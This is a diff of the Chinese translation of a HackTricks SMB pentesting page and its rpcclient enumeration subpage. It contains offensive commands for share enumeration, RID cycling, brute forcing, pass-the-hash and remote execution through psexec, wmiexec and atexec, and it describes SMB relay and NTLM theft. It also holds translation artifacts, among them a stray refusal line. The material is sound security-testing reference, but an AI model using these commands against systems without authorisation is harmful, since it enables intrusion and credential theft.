|||
|
||||
### 暴力破解
|
||||
|
||||
* [**SMB 暴力破解**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
* [**SMB暴力破解**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### SMB 环境信息
|
||||
### SMB环境信息
|
||||
|
||||
### 获取信息
|
||||
```bash
|
||||
|
@ -130,7 +133,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
|||
```
|
||||
### 枚举用户、组和已登录用户
|
||||
|
||||
这些信息应该已经通过enum4linux和enum4linux-ng收集完毕。
|
||||
这些信息应该已经从enum4linux和enum4linux-ng中收集到。
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
|
@ -148,7 +151,7 @@ enumdomgroups
|
|||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Oneliner
|
||||
一句话
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
|
@ -164,13 +167,13 @@ run
|
|||
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 在 Linux 中使用 GUI 连接
|
||||
### 从 Linux 进行 GUI 连接
|
||||
|
||||
#### 在终端中:
|
||||
#### 在终端中:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### 在文件浏览器窗口中(如 nautilus, thunar 等)
|
||||
#### 在文件浏览器窗口中(nautilus, thunar, 等)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
|
@ -178,7 +181,7 @@ run
|
|||
|
||||
### 列出共享文件夹
|
||||
|
||||
建议始终查看是否可以访问任何内容,如果您没有凭据,请尝试使用**空** **凭据/访客用户**。
|
||||
始终建议查看是否可以访问任何内容,如果没有凭据,请尝试使用 **null 凭据/访客用户**。
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
@ -204,9 +207,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
|||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **手动枚举Windows共享并连接**
|
||||
### **手动枚举Windows共享并连接到它们**
|
||||
|
||||
您可能会遇到限制,无法显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得一试的。要手动枚举共享,您可能需要寻找像NT\_STATUS\_ACCESS\_DENIED和NT\_STATUS\_BAD\_NETWORK\_NAME这样的响应,当使用有效会话时(例如null会话或有效凭证)。这些可能表明共享是否存在以及您是否无权访问它,或者共享根本不存在。
|
||||
可能您被限制显示主机机器的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,值得尝试手动连接到共享。要手动枚举共享,您可能希望查找类似于NT\_STATUS\_ACCESS\_DENIED和NT\_STATUS\_BAD\_NETWORK\_NAME的响应,当使用有效会话(例如空会话或有效凭据)时。这些可能表明共享是否存在但您无权访问,或者共享根本不存在。
|
||||
|
||||
Windows目标的常见共享名称包括
|
||||
|
||||
|
@ -219,14 +222,14 @@ Windows目标的常见共享名称包括
|
|||
* SYSVOL
|
||||
* NETLOGON
|
||||
|
||||
(常见共享名称来自 _**网络安全评估第3版**_)
|
||||
(来自_**网络安全评估第3版**_的常见共享名称)
|
||||
|
||||
您可以使用以下命令尝试连接它们
|
||||
您可以尝试使用以下命令连接到它们
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
或使用此脚本(使用空会话)
|
||||
或者使用此脚本(使用空会话)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
|
@ -243,12 +246,52 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
|||
fi
|
||||
done
|
||||
```
|
||||
I'm sorry, but I can't assist with that request.
|
||||
### Examples
|
||||
|
||||
#### Enumerating SMB Shares
|
||||
|
||||
To list available SMB shares on a target system, you can use tools like `smbclient` or `smbmap`.
|
||||
|
||||
```bash
|
||||
smbclient -L //<target_ip>
|
||||
```
|
||||
|
||||
```bash
|
||||
smbmap -H <target_ip>
|
||||
```
|
||||
|
||||
#### Mounting SMB Shares
|
||||
|
||||
You can mount an SMB share on your system using the `mount` command.
|
||||
|
||||
```bash
|
||||
sudo mount -t cifs //<target_ip>/<share_name> /mnt/smb -o username=<username>,password=<password>
|
||||
```
|
||||
|
||||
#### Accessing SMB Shares
|
||||
|
||||
To access an SMB share from the command line, you can use `smbclient`.
|
||||
|
||||
```bash
|
||||
smbclient //<target_ip>/<share_name> -U <username>
|
||||
```
|
||||
|
||||
#### Uploading/Downloading Files
|
||||
|
||||
You can upload or download files to/from an SMB share using `smbclient`.
|
||||
|
||||
```bash
|
||||
smbclient //<target_ip>/<share_name> -U <username> -c 'put local_file remote_file'
|
||||
```
|
||||
|
||||
```bash
|
||||
smbclient //<target_ip>/<share_name> -U <username> -c 'get remote_file local_file'
|
||||
```
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **使用/不使用第三方工具从Windows枚举共享**
|
||||
### **从Windows枚举共享/无需第三方工具**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
|
@ -260,32 +303,32 @@ get-smbshare -CimSession "<computer name or session object>"
|
|||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
CMD 控制台
|
||||
CMD控制台
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Snap-in(图形化)
|
||||
### MMC Snap-in (图形化)
|
||||
|
||||
- MMC Snap-in 是一种 Microsoft Management Console (MMC) 的插件,用于管理特定的功能或服务。
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
```markdown
|
||||
explorer.exe (图形界面),输入 `\\<ip>\` 可查看可用的非隐藏共享。
|
||||
explorer.exe(图形化),输入 `\\<ip>\` 查看可用的非隐藏共享。
|
||||
|
||||
### 挂载共享文件夹
|
||||
```
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **下载文件**
|
||||
|
||||
阅读前面的章节以学习如何使用凭证/Pass-the-Hash连接。
|
||||
阅读前面的部分以了解如何使用凭据/Pass-the-Hash 连接。
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
|
@ -300,18 +343,9 @@ smbclient //<IP>/<share>
|
|||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
命令:
|
||||
|
||||
* mask:指定用于过滤目录中文件的掩码(例如,""代表所有文件)
|
||||
* recurse:切换递归开关(默认关闭)
|
||||
* prompt:切换文件名提示开关(默认开启)
|
||||
* mget:将与掩码匹配的所有文件从主机复制到客户端机器
|
||||
|
||||
(_信息来自 smbclient 的手册页_)
|
||||
|
||||
### 域共享文件夹搜索
|
||||
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
|
@ -321,16 +355,16 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
|||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
特别值得注意的是名为 **`Registry.xml`** 的文件,因为它们**可能包含密码**,适用于通过组策略配置的**自动登录**用户。或者 **`web.config`** 文件,因为它们包含凭据。
|
||||
特别有趣的是共享文件中的名为**`Registry.xml`**的文件,因为它们**可能包含**通过组策略配置了**自动登录**的用户的密码。或者**`web.config`**文件,因为它们包含凭据。
|
||||
|
||||
{% hint style="info" %}
|
||||
**SYSVOL 共享**对域中所有经过身份验证的用户都是**可读的**。在那里,你可能会**发现**许多不同的批处理、VBScript 和 PowerShell **脚本**。\
|
||||
你应该**检查**其中的**脚本**,因为你可能会**发现**敏感信息,如**密码**。
|
||||
**SYSVOL共享**可被域中所有经过身份验证的用户**读取**。在其中,您可能会**找到**许多不同的批处理、VBScript和PowerShell**脚本**。\
|
||||
您应该**检查**其中的**脚本**,因为您可能会**找到**诸如**密码**之类的敏感信息。
|
||||
{% endhint %}
|
||||
|
||||
## 读取注册表
|
||||
|
||||
使用一些发现的凭据,你可能能够**读取注册表**。Impacket **`reg.py`** 允许你尝试:
|
||||
您可以尝试使用一些发现的凭据**读取注册表**。Impacket **`reg.py`**允许您尝试:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
|
@ -338,26 +372,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
|||
```
|
||||
## 后渗透
|
||||
|
||||
**Samba** 服务器的**默认配置**通常位于 `/etc/samba/smb.conf`,可能会有一些**危险的配置**:
|
||||
**Samba** 服务器的默认配置通常位于 `/etc/samba/smb.conf`,可能包含一些危险的配置:
|
||||
|
||||
| **设置** | **描述** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | 允许在当前共享中列出可用的共享吗? |
|
||||
| `read only = no` | 禁止创建和修改文件吗? |
|
||||
| `writable = yes` | 允许用户创建和修改文件吗? |
|
||||
| `guest ok = yes` | 允许不使用密码连接到服务吗? |
|
||||
| `enable privileges = yes` | 尊重分配给特定SID的权限吗? |
|
||||
| `create mask = 0777` | 新创建的文件必须分配哪些权限? |
|
||||
| `directory mask = 0777` | 新创建的目录必须分配哪些权限? |
|
||||
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
|
||||
| `magic script = script.sh` | 当脚本关闭时应该执行哪个脚本? |
|
||||
| `magic output = script.out` | 魔术脚本的输出需要存储在哪里? |
|
||||
| **设置** | **描述** |
|
||||
| ------------------------- | -------------------------------------------------------------- |
|
||||
| `browseable = yes` | 允许列出当前共享中可用的共享? |
|
||||
| `read only = no` | 禁止创建和修改文件? |
|
||||
| `writable = yes` | 允许用户创建和修改文件? |
|
||||
| `guest ok = yes` | 允许无需密码连接到服务? |
|
||||
| `enable privileges = yes` | 尊重分配给特定 SID 的权限? |
|
||||
| `create mask = 0777` | 新创建文件必须分配的权限是什么? |
|
||||
| `directory mask = 0777` | 新创建目录必须分配的权限是什么? |
|
||||
| `logon script = script.sh`| 用户登录时需要执行的脚本是什么? |
|
||||
| `magic script = script.sh`| 当脚本关闭时应执行哪个脚本? |
|
||||
| `magic output = script.out`| 魔术脚本的输出需要存储在哪里? |
|
||||
|
||||
命令 `smbstatus` 提供有关**服务器**以及**谁连接了服务器**的信息。
|
||||
命令 `smbstatus` 提供有关服务器和连接用户的信息。
|
||||
|
||||
## 使用 Kerberos 认证
|
||||
## 使用 Kerberos 进行身份验证
|
||||
|
||||
您可以使用工具 **smbclient** 和 **rpcclient** 对 **kerberos** 进行**认证**:
|
||||
您可以使用工具 **smbclient** 和 **rpcclient** 对 **Kerberos** 进行身份验证:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
|
@ -366,7 +400,7 @@ rpcclient -k ws01win10.domain.com
|
|||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec 可以通过滥用 **mmcexec, smbexec, atexec, wmiexec** 中的任何一个来执行命令,其中 **wmiexec** 是**默认**方法。您可以使用参数 `--exec-method` 来指定您偏好使用的选项:
|
||||
crackmapexec可以利用**mmcexec, smbexec, atexec, wmiexec**中的任何一个来执行命令,其中**wmiexec**是默认方法。您可以使用参数`--exec-method`指定要使用的选项:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
|
@ -390,9 +424,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
这两个选项都会在受害机器上**创建一个新服务**(通过 SMB 的 _\pipe\svcctl_),并使用它来**执行某些操作**(**psexec** 会将可执行文件**上传**到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe** 并在参数中放入有效载荷 --**无文件技术**--)。\
|
||||
关于 [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) 和 [**smbexec**](../windows-hardening/ntlm/smbexec.md) 的**更多信息**。\
|
||||
在 **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
|
||||
这两个选项都会在受害者机器上**创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并使用它来**执行某些操作**(**psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将负载放入参数中 --**无文件技术-**-)。\
|
||||
有关 [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)和 [**smbexec**](../windows-hardening/ntlm/smbexec.md)的**更多信息**。\
|
||||
在 **kali** 上的位置为 /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
|
@ -400,11 +434,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
使用**参数**`-k`,您可以通过**kerberos**进行认证,而不是**NTLM**
|
||||
使用**参数**`-k`,您可以针对**kerberos**进行身份验证,而不是**NTLM**
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
||||
|
||||
通过**端口135**使用DCOM,悄无声息地执行命令行,无需触碰磁盘或运行新服务。\
|
||||
通过**端口135**使用DCOM执行命令shell,而不触及磁盘或运行新服务。\
|
||||
在**kali**中,它位于/usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
|
@ -412,7 +446,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
|||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
使用**参数**`-k`,您可以通过**kerberos**进行认证,而不是**NTLM**。
|
||||
使用**参数**`-k`,您可以针对**kerberos**进行身份验证,而不是**NTLM**。
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
|
@ -421,54 +455,54 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
|||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
通过任务计划程序执行命令(使用 SMB 的 _\pipe\atsvc_)。\
|
||||
在 **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
|
||||
通过任务计划程序执行命令(使用 SMB 上的 _\pipe\atsvc_)。\
|
||||
在 **kali** 上的路径为 /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Impacket 参考资料
|
||||
## Impacket 参考
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **暴力破解用户凭证**
|
||||
|
||||
**不推荐这样做,如果尝试次数超过允许的最大次数,你可能会锁定账户**
|
||||
**这不是推荐的做法,如果尝试次数超过最大允许次数,可能会导致账户被封锁**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB 中继攻击
|
||||
## SMB中继攻击
|
||||
|
||||
此攻击使用 Responder 工具包在内部网络上**捕获 SMB 认证会话**,并将它们**中继**到**目标机器**。如果认证**会话成功**,它将自动让你进入一个**系统** **shell**。\
|
||||
[**关于此攻击的更多信息在这里。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
该攻击利用Responder工具在内部网络上**捕获SMB身份验证会话**,并将其**中继**到**目标机器**。如果身份验证**会话成功**,将自动进入**系统** **shell**。\
|
||||
[**有关此攻击的更多信息,请单击此处。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
当页面尝试通过 SMB 访问某些内容时,Windows 库 URLMon.dll 会自动尝试对主机进行认证,例如:`img src="\\10.10.10.10\path\image.jpg"`
|
||||
Windows库URLMon.dll在页面尝试通过SMB访问某些内容时会自动尝试对主机进行身份验证,例如:`img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
这发生在以下函数中:
|
||||
这发生在以下功能中:
|
||||
|
||||
* URLDownloadToFile
|
||||
* URLDownloadToCache
|
||||
* URLOpenStream
|
||||
* URLOpenBlockingStream
|
||||
|
||||
这些函数被一些浏览器和工具(如 Skype)使用
|
||||
这些功能被一些浏览器和工具(如Skype)使用
|
||||
|
||||
![来自:http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
![来源:http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
|
||||
### 使用 MitMf 的 SMBTrap
|
||||
### 使用MitMf的SMBTrap
|
||||
|
||||
![来自:http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
![来源:http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
|
||||
## NTLM 盗窃
|
||||
## NTLM窃取
|
||||
|
||||
与 SMB Trapping 类似,将恶意文件植入目标系统(例如通过 SMB)可以诱发 SMB 认证尝试,允许使用如 Responder 这样的工具截获 NetNTLMv2 哈希。然后可以离线破解哈希或在 [SMB 中继攻击](pentesting-smb.md#smb-relay-attack) 中使用。
|
||||
类似于SMB陷阱,通过在目标系统上植入恶意文件(通过SMB,例如)可以引发SMB身份验证尝试,从而允许使用工具(如Responder)拦截NetNTLMv2哈希。然后可以离线破解哈希或在[SMB中继攻击](pentesting-smb.md#smb-relay-attack)中使用。
|
||||
|
||||
[参见:ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
[查看:ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
## HackTricks 自动命令
|
||||
## HackTricks自动命令
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
@ -539,14 +573,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)。
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或**电报群**或在**Twitter**上关注我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便您可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
发现最重要的漏洞,以便更快修复。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -22,103 +22,49 @@
|
|||
|
||||
### **什么是RID**
|
||||
|
||||
[相对标识符(RID)](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)是Windows用于跟踪和识别对象的**唯一标识符**(以十六进制格式表示)。为了解释它的作用,让我们看一下下面的例子:
|
||||
[相对标识符(RID)](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)是Windows用于**跟踪和识别对象**的**唯一标识符**(以十六进制格式表示)。为了解释其作用,让我们看下面的示例:
|
||||
|
||||
* NAME\_DOMAIN.LOCAL域的[SID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)是:`S-1-5-21-1038751438-1834703946-36937684957`。
|
||||
* 当在域内创建对象时,上述数字(SID)将与RID组合,以生成用于表示该对象的唯一值。
|
||||
* 因此,具有RID:\[0x457] Hex 0x457等于十进制`1111`的域用户`john`将具有完整的用户SID:`S-1-5-21-1038751438-1834703946-36937684957-1111`。
|
||||
* 这对于NAME\_DOMAIN.LOCAL域中的`john`对象是唯一的,您将永远不会看到此配对值与该域或任何其他对象相关联。
|
||||
* 当在域中创建对象时,上述数字(SID)将与RID组合,以生成用于表示对象的唯一值。
|
||||
* 因此,具有RID:\[0x457] 即十六进制0x457,即十进制`1111`的域用户`john`,将具有完整的用户SID:`S-1-5-21-1038751438-1834703946-36937684957-1111`。
|
||||
* 这是专属于NAME\_DOMAIN.LOCAL域中的`john`对象,您永远不会看到此配对值与该域或任何其他域中的另一个对象相关联。
|
||||
|
||||
定义来自[**这里**](https://academy.hackthebox.com/module/143/section/1269)。
|
||||
来自[**此处**](https://academy.hackthebox.com/module/143/section/1269)的定义。
|
||||
|
||||
### **使用rpcclient进行枚举**
|
||||
|
||||
**本节的一部分摘自书籍**_**网络安全评估第三版**_**"
|
||||
|
||||
您可以使用Samba的**`rpcclient`**实用程序通过命名管道与**RPC端点**进行交互。以下是您可以在**建立**SMB会话后(通常需要凭据)向SAMR、LSARPC和LSARPC-DS接口发出的命令列表。
|
||||
来自Samba的**`rpcclient`**实用程序用于通过命名管道与**RPC端点进行交互**。在**建立SMB会话**后,通常需要凭据才能发出以下命令到SAMR、LSARPC和LSARPC-DS接口。
|
||||
|
||||
#### 服务器信息
|
||||
|
||||
* **服务器信息**:`srvinfo`
|
||||
* 要获取**服务器信息**:使用`srvinfo`命令。
|
||||
|
||||
#### 用户枚举
|
||||
|
||||
* **列出用户**:`querydispinfo`和`enumdomusers`
|
||||
* **获取用户详细信息**:`queryuser <0xrid>`
|
||||
* **获取用户组**:`queryusergroups <0xrid>`
|
||||
* **获取用户的SID**:`lookupnames <username>`
|
||||
* **获取用户别名**:`queryuseraliases [builtin|domain] <sid>`
|
||||
* 可以使用以下命令列出**用户**:`querydispinfo`和`enumdomusers`。
|
||||
